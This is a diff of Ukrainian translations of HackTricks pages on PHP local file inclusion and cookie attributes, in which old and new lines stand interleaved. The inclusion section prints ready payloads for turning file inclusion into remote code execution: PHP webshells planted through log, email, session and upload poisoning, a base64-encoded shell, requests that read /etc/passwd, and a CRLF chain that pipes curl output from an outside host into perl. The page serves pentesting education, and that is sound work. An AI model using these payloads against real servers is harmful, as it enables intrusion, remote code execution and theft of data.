> Ця техніка актуальна в випадках, коли ви **контролюєте** **шлях до файлу** функції **PHP**, яка **доступає до файлу**, але ви не побачите вміст файлу (як простий виклик **`file()`**), але вміст не відображається.
|
||||
> Ця техніка актуальна у випадках, коли ви **контролюєте** **шлях до файлу**, переданий **PHP function**, яка буде **доступатися до файлу**, але ви не побачите вміст файлу (наприклад простий виклик **`file()`**), оскільки вміст не відображається.
|
||||
|
||||
У [**цьому неймовірному пості**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) пояснюється, як сліпий перехід по шляху може бути зловжито через фільтр PHP для **екстракції вмісту файлу через помилковий оракул**.
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
У підсумку, техніка використовує **кодування "UCS-4LE"**, щоб зробити вміст файлу таким **великим**, що **функція PHP**, яка відкриває файл, викличе **помилку**.
|
||||
As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
|
||||
|
||||
Потім, щоб витягти перший символ, використовується фільтр **`dechunk`** разом з іншими, такими як **base64** або **rot13**, а в кінці використовуються фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE** для **розміщення інших символів на початку та їх витоку**.
|
||||
Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
|
||||
|
||||
**Функції, які можуть бути вразливими**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (тільки цільове читання з цим)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Функції, що можуть бути вразливими**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Для технічних деталей перевірте згаданий пост!
|
||||
За технічними деталями див. згаданий пост!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Довільне записування файлів через перехід по шляху (Webshell RCE)
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
Коли серверний код, що приймає/завантажує файли, формує шлях призначення, використовуючи дані, контрольовані користувачем (наприклад, ім'я файлу або URL), без канонізації та валідації, сегменти `..` та абсолютні шляхи можуть вийти за межі запланованого каталогу та викликати довільне записування файлу. Якщо ви можете розмістити payload у каталозі, доступному через веб, ви зазвичай отримуєте неавтентифікований RCE, скинувши webshell.
|
||||
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
|
||||
|
||||
Типовий робочий процес експлуатації:
|
||||
- Визначте примітив запису в кінцевій точці або фоновому процесі, який приймає шлях/ім'я файлу та записує вміст на диск (наприклад, обробка повідомлень, обробники команд XML/JSON, розпаковувачі ZIP тощо).
|
||||
- Визначте каталоги, доступні через веб. Загальні приклади:
|
||||
Типовий сценарій експлуатації:
|
||||
- Виявити a write primitive в endpoint або background worker, який приймає a path/filename і записує вміст на диск (наприклад, message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо).
|
||||
- Визначити web-exposed директорії. Поширені приклади:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → скиньте `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → скиньте `shell.aspx`
|
||||
- Сформуйте шлях переходу, який виходить за межі запланованого каталогу зберігання у веб-корінь, і включіть вміст вашого webshell.
|
||||
- Перейдіть до скинутого payload і виконайте команди.
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Сформувати traversal path, який виходить за межі наміченої директорії для збереження в webroot, і включити туди вміст вашого webshell.
|
||||
- Перейдіть до розміщеного payload і виконайте команди.
|
||||
|
||||
Примітки:
|
||||
- Вразлива служба, яка виконує запис, може слухати на непорті HTTP (наприклад, слухач JMF XML на TCP 4004). Основний веб-портал (інший порт) пізніше обслуговуватиме ваш payload.
|
||||
- У Java-стосунках ці записи файлів часто реалізуються простим з'єднанням `File`/`Paths`. Відсутність канонізації/дозволеного списку є основним недоліком.
|
||||
- Сервіс, що виконує запис, може слухати на non-HTTP порту (наприклад, a JMF XML listener на TCP 4004). Основний веб-портал (інший порт) згодом обслужить ваш payload.
|
||||
- На Java-стеках такі записи файлів часто реалізуються простим конкатенуванням `File`/`Paths`. Відсутність канонізації/allow-listing — основний недолік.
|
||||
|
||||
Загальний приклад у стилі XML/JMF (схеми продуктів варіюються – DOCTYPE/обгортка тіла не має значення для переходу):
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
@ -465,26 +465,27 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Зміцнення, яке долає цей клас помилок:
|
||||
- Вирішити до канонічного шляху та забезпечити, щоб він був нащадком дозволеного базового каталогу.
|
||||
- Відхилити будь-який шлях, що містить `..`, абсолютні корені або літери дисків; надавайте перевагу згенерованим іменам файлів.
|
||||
- Запустіть записувач як обліковий запис з низькими привілеями та розділіть каталоги запису від коренів, що обслуговуються.
|
||||
Заходи жорсткого захисту, що нейтралізують цей клас помилок:
|
||||
- Розвʼяжіть до канонічного шляху і забезпечте, щоб він був нащадком allow-listed base directory.
|
||||
- Відхиляйте будь-який шлях, що містить `..`, absolute roots, або drive letters; віддавайте перевагу згенерованим іменам файлів.
|
||||
- Запускайте записувач від імені низькоправового (low-privileged) облікового запису та розділяйте директорії для запису й served roots.
|
||||
|
||||
## Віддалене включення файлів
|
||||
## Remote File Inclusion
|
||||
|
||||
Пояснено раніше, [**перейдіть за цим посиланням**](#remote-file-inclusion).
|
||||
Пояснювалося раніше, [**перейдіть за цим посиланням**](#remote-file-inclusion).
|
||||
|
||||
### Через файл журналу Apache/Nginx
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
Якщо сервер Apache або Nginx **вразливий до LFI** всередині функції включення, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, встановивши в **агенті користувача** або в **GET параметрі** php shell, наприклад, **`<?php system($_GET['c']); ?>`** і включити цей файл.
|
||||
Якщо сервер Apache або Nginx **вразливий до LFI** всередині функції include, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, записати в **user agent** або в **GET parameter** php-оболонку типу **`<?php system($_GET['c']); ?>`** і включити цей файл
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP видасть помилку** там, і **нічого іншого не буде виконано**.
|
||||
> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
|
||||
>
|
||||
> Також переконайтеся, що ви **правильно написали payload**, інакше PHP буде помилятися щоразу, коли намагатиметься завантажити файл журналу, і у вас не буде другої можливості.
|
||||
> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
|
||||
|
||||
Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодованим, і це може знищити Shell. Заголовок **авторизації "basic"** містить "user:password" у Base64, і він декодується всередині журналів. PHPShell може бути вставлений у цей заголовок.\
|
||||
Інші можливі шляхи журналів:
|
||||
Це також можна зробити в інших логах, але **будьте обережні,** код всередині логів може бути URL encoded і це може зруйнувати Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64 і декодується всередині логів. PHPShell можна вставити всередину цього заголовка.\
|
||||
|
||||
Інші можливі шляхи до логів:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
@ -498,124 +499,129 @@ in.transferTo(out);
|
||||
```
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### Через електронну пошту
|
||||
### Через Email
|
||||
|
||||
**Надішліть листа** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити до листа користувача шлях, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
|
||||
**Надішліть лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>` і спробуйте включити його в пошту користувача шляхом, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Через /proc/\*/fd/\*
|
||||
### Через /proc/*/fd/*
|
||||
|
||||
1. Завантажте багато shell'ів (наприклад: 100)
|
||||
2. Включіть [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна перебрати) і $FD - файловий дескриптор (також можна перебрати)
|
||||
1. Завантажте багато shells (наприклад: 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна brute forced), а $FD — дескриптор файлу (також можна brute forced)
|
||||
|
||||
### Через /proc/self/environ
|
||||
|
||||
Як файл журналу, надішліть payload у User-Agent, він буде відображений у файлі /proc/self/environ
|
||||
Як і з лог-файлом, надішліть payload в User-Agent — він відобразиться у файлі /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
### Через upload
|
||||
|
||||
Якщо ви можете завантажити файл, просто вставте оболонковий код у нього (наприклад: `<?php system($_GET['c']); ?>`).
|
||||
Якщо ви можете upload файл, просто inject shell payload у нього (наприклад: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Щоб зберегти файл читабельним, найкраще впроваджувати в метадані зображень/doc/pdf
|
||||
Щоб файл залишався читабельним, найкраще інжектувати в метадані зображень/doc/pdf
|
||||
|
||||
### Завантаження ZIP файлу
|
||||
### Через завантаження ZIP файлу
|
||||
|
||||
Завантажте ZIP файл, що містить стиснутий PHP shell, і отримайте доступ:
|
||||
Завантажте ZIP файл, що містить стиснену PHP shell, і отримайте доступ:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Via PHP sessions
|
||||
### Через PHP sessions
|
||||
|
||||
Перевірте, чи використовує вебсайт PHP Session (PHPSESSID)
|
||||
Перевірте, чи сайт використовує PHP Session (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
У PHP ці сесії зберігаються у файлах _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
||||
У PHP ці сесії зберігаються у _/var/lib/php5/sess\\_\[PHPSESSID]\_ файлах
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
Встановіть cookie на `<?php system('cat /etc/passwd');?>`
|
||||
Встановіть cookie як `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Використовуйте LFI для включення файлу сесії PHP
|
||||
Використайте LFI, щоб включити файл сесії PHP
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### Via ssh
|
||||
### Через ssh
|
||||
|
||||
Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
### **Через** **vsftpd** _**logs**_
|
||||
|
||||
Логи для FTP сервера vsftpd знаходяться за адресою _**/var/log/vsftpd.log**_. У сценарії, де існує вразливість Local File Inclusion (LFI), і доступ до відкритого сервера vsftpd можливий, можна розглянути наступні кроки:
|
||||
Логи для FTP сервера vsftpd знаходяться за адресою _**/var/log/vsftpd.log**_. У випадку, коли існує Local File Inclusion (LFI) вразливість і можливий доступ до відкритого vsftpd сервера, можна розглянути такі кроки:
|
||||
|
||||
1. Впровадьте PHP payload у поле імені користувача під час процесу входу.
|
||||
2. Після впровадження використовуйте LFI для отримання логів сервера з _**/var/log/vsftpd.log**_.
|
||||
1. Впровадьте PHP payload у username field під час login process.
|
||||
2. Після ін'єкції використайте LFI, щоб витягнути server logs з _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
### Через php base64 filter (using base64)
|
||||
|
||||
Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) статті, PHP base64 filter просто ігнорує Non-base64. Ви можете використовувати це, щоб обійти перевірку розширення файлу: якщо ви надасте base64, що закінчується на ".php", він просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:
|
||||
Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter просто ігнорує Non-base64. Ви можете використати це для обходу перевірки розширення файлу: якщо ви подасте base64, який закінчується на ".php", він просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
### Через php filters (no file needed)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters to generate arbitrary content** як вивід. Це, по суті, означає, що ви можете **generate arbitrary php code** для include **without needing to write** його у файл.
|
||||
|
||||
Цей [**опис**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters для генерації довільного контенту** як виходу. Це в основному означає, що ви можете **генерувати довільний php код** для включення **без необхідності записувати** його у файл.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### Via segmentation fault
|
||||
### Через segmentation fault
|
||||
|
||||
**Upload** файл, який буде збережений як **temporary** у `/tmp`, потім в **the same request,** спровокуйте **segmentation fault**, після чого **the temporary file won't be deleted** і ви зможете його знайти.
|
||||
|
||||
**Завантажте** файл, який буде збережено як **тимчасовий** у `/tmp`, потім у **тому ж запиті** викличте **сегментаційну помилку**, і тоді **тимчасовий файл не буде видалено** і ви зможете його знайти.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Nginx temp file storage
|
||||
### Через Nginx temp file storage
|
||||
|
||||
Якщо ви знайшли **Local File Inclusion** і **Nginx** працює перед PHP, ви можете отримати RCE за допомогою наступної техніки:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
### Через PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **don't have a session** і `session.auto_start` встановлено в `Off`. Якщо ви надасте **`PHP_SESSION_UPLOAD_PROGRESS`** у **multipart POST** даних, PHP **enable the session for you**. Це можна використати для отримання RCE:
|
||||
|
||||
Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **немає сесії** і `session.auto_start` вимкнено. Якщо ви надасте **`PHP_SESSION_UPLOAD_PROGRESS`** у **multipart POST** даних, PHP **включить сесію для вас**. Ви можете зловживати цим, щоб отримати RCE:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
### Через temp file uploads in Windows
|
||||
|
||||
Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, ви можете отримати RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
### Через `pearcmd.php` + URL args
|
||||
|
||||
Як [**пояснюється в цьому пості**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням у php docker образах. Більше того, можливо передавати аргументи до скрипта через URL, оскільки вказано, що якщо параметр URL не має `=`, його слід використовувати як аргумент.
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням у php docker образах. Крім того, можливо передавати аргументи скрипту через URL, оскільки зазначено, що якщо URL-параметр не має `=`, він повинен використовуватися як аргумент. Див. також [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) і [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
Наступний запит створює файл у `/tmp/hello.php` з вмістом `<?=phpinfo()?>`:
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
Наступне зловживає вразливістю CRLF для отримання RCE (з [**тут**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Нижче показано, як зловживати CRLF vuln для отримання RCE (з [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -624,43 +630,49 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### Через phpinfo() (file_uploads = on)
|
||||
|
||||
Якщо ви знайшли **Local File Inclusion** і файл, що відкриває **phpinfo()** з file_uploads = on, ви можете отримати RCE:
|
||||
Якщо ви знайшли **Local File Inclusion** і файл, що показує **phpinfo()** з file_uploads = on, ви можете отримати RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
{{#endref}}
|
||||
|
||||
### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Витік шляху
|
||||
### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Якщо ви знайшли **Local File Inclusion** і ви **can exfiltrate the path** тимчасового файлу, АЛЕ **server** **checking**, чи **file to be included has PHP marks**, ви можете спробувати **bypass that check** за допомогою цієї **Race Condition**:
|
||||
|
||||
Якщо ви знайшли **Local File Inclusion** і ви **можете ексфільтрувати шлях** до тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл, що включається, має PHP мітки**, ви можете спробувати **обійти цю перевірку** за допомогою цього **Race Condition**:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
{{#endref}}
|
||||
|
||||
### Через вічне очікування + брутфорс
|
||||
### Через eternal waiting + bruteforce
|
||||
|
||||
Якщо ви можете зловживати LFI, щоб **upload temporary files** і змусити **server** **hang** виконання PHP, тоді ви можете **brute force filenames during hours**, щоб знайти тимчасовий файл:
|
||||
|
||||
Якщо ви можете зловживати LFI для **завантаження тимчасових файлів** і змусити сервер **зависнути** під час виконання PHP, ви могли б **брутфорсити імена файлів протягом годин**, щоб знайти тимчасовий файл:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
### До Фатальної Помилки
|
||||
### До Fatal Error
|
||||
|
||||
Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Вам потрібно включити той самий файл 2 рази, щоб викликати цю помилку).
|
||||
|
||||
**Я не знаю, як це може бути корисно, але це може бути.**\
|
||||
_Навіть якщо ви викликаєте PHP Фатальну Помилку, тимчасові файли PHP, що були завантажені, видаляються._
|
||||
**I don't know how is this useful but it might be.**\
|
||||
_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – Від служби підтримки до нульового дня (FreeFlow Core path traversal → довільне записування → веб-шелл)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -2,37 +2,36 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cookie Attributes
|
||||
## Атрибути Cookie
|
||||
|
||||
Cookies мають кілька атрибутів, які контролюють їх поведінку в браузері користувача. Ось огляд цих атрибутів у більш пасивному стилі:
|
||||
Cookies мають декілька атрибутів, які контролюють їх поведінку в браузері користувача. Нижче наведено огляд цих атрибутів у більш пасивному стилі:
|
||||
|
||||
### Expires and Max-Age
|
||||
|
||||
Дата закінчення терміну дії cookie визначається атрибутом `Expires`. У свою чергу, атрибут `Max-age` визначає час у секундах, протягом якого cookie буде видалено. **Вибирайте `Max-age`, оскільки це відображає більш сучасні практики.**
|
||||
Дата завершення дії cookie визначається атрибутом `Expires`. Натомість атрибут `Max-age` задає час у секундах до видалення cookie. **Віддавайте перевагу `Max-age`, оскільки це відповідає сучаснішим практикам.**
|
||||
|
||||
### Domain
|
||||
|
||||
Хости, які отримують cookie, вказуються атрибутом `Domain`. За замовчуванням це встановлено на хост, який видав cookie, не включаючи його піддомени. Однак, коли атрибут `Domain` явно встановлений, він охоплює також піддомени. Це робить специфікацію атрибута `Domain` менш обмежувальним варіантом, корисним для сценаріїв, де необхідно ділитися cookie між піддоменами. Наприклад, встановлення `Domain=mozilla.org` робить cookie доступними на його піддоменах, таких як `developer.mozilla.org`.
|
||||
Хости, які отримують cookie, задаються атрибутом `Domain`. За замовчуванням він встановлюється на хост, що видав cookie, без включення його піддоменів. Проте при явному вказанні атрибуту `Domain` він охоплює також піддомени. Це робить вказівку `Domain` менш обмежувальною опцією, корисною у випадках, коли потрібно спільне використання cookie між піддоменами. Наприклад, встановлення `Domain=mozilla.org` робить cookie доступними на піддоменах, таких як `developer.mozilla.org`.
|
||||
|
||||
### Path
|
||||
|
||||
Конкретний URL шлях, який повинен бути присутнім у запитуваному URL, щоб заголовок `Cookie` був надісланий, вказується атрибутом `Path`. Цей атрибут розглядає символ `/` як роздільник директорій, що дозволяє відповідності в підкаталогах.
|
||||
Атрибут `Path` вказує конкретний шлях URL, який має бути присутнім у запитуваному URL, щоб заголовок `Cookie` був відправлений. Цей атрибут трактує символ `/` як роздільник каталогів, дозволяючи збіги також у підкаталогах.
|
||||
|
||||
### Ordering Rules
|
||||
|
||||
Коли два cookie мають однакову назву, вибір того, який буде надіслано, базується на:
|
||||
|
||||
- Cookie, що відповідає найдовшому шляху в запитуваному URL.
|
||||
- Найновішому встановленому cookie, якщо шляхи ідентичні.
|
||||
Якщо два cookie мають однакове ім'я, для відправлення обирається той, що:
|
||||
- cookie, що відповідає найдовшому шляху в запитуваному URL.
|
||||
- останній встановлений cookie, якщо шляхи ідентичні.
|
||||
|
||||
### SameSite
|
||||
|
||||
- Атрибут `SameSite` визначає, чи надсилаються cookie в запитах, що походять з доменів третіх сторін. Він пропонує три налаштування:
|
||||
- **Strict**: Обмежує надсилання cookie в запитах третіх сторін.
|
||||
- **Lax**: Дозволяє надсилати cookie з GET запитами, ініційованими веб-сайтами третіх сторін.
|
||||
- **None**: Дозволяє надсилати cookie з будь-якого домену третьої сторони.
|
||||
- Атрибут `SameSite` визначає, чи будуть cookie відправлятися в запитах, що походять із доменів третьої сторони. Він має три значення:
|
||||
- **Strict**: Обмежує відправку cookie в запитах третьої сторони.
|
||||
- **Lax**: Дозволяє відправляти cookie з GET-запитами, ініційованими сайтами третьої сторони.
|
||||
- **None**: Дозволяє відправляти cookie з будь-якого домену третьої сторони.
|
||||
|
||||
Пам'ятайте, що під час налаштування cookie розуміння цих атрибутів може допомогти забезпечити їх очікувану поведінку в різних сценаріях.
|
||||
Пам'ятайте, що при налаштуванні cookie розуміння цих атрибутів допоможе забезпечити їх очікувану поведінку в різних сценаріях.
|
||||
|
||||
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
@ -45,76 +44,83 @@ Cookies мають кілька атрибутів, які контролюют
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||
Cookie з атрибутом _**SameSite**_ **зменшить атаки CSRF**, де потрібна активна сесія.
|
||||
A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed.
|
||||
|
||||
**\*Зверніть увагу, що з Chrome80 (лютий/2019) стандартна поведінка cookie без атрибута cookie samesite** **буде lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Зверніть увагу, що тимчасово, після застосування цієї зміни, **cookie без політики SameSite** **в Chrome будуть** **трактуватися як None** протягом **перших 2 хвилин, а потім як Lax для запиту POST на верхньому рівні з крос-доменом.**
|
||||
**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.**
|
||||
|
||||
## Cookies Flags
|
||||
## Флаги Cookie
|
||||
|
||||
### HttpOnly
|
||||
|
||||
Це запобігає **клієнту** доступити cookie (через **Javascript**, наприклад: `document.cookie`)
|
||||
Це забороняє клієнту отримувати доступ до cookie (наприклад через **Javascript**: `document.cookie`)
|
||||
|
||||
#### **Bypasses**
|
||||
#### **Обходи**
|
||||
|
||||
- Якщо сторінка **надсилає cookie у відповідь** на запити (наприклад, на сторінці **PHPinfo**), можливо зловживати XSS, щоб надіслати запит на цю сторінку та **вкрасти cookie** з відповіді (перевірте приклад у [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
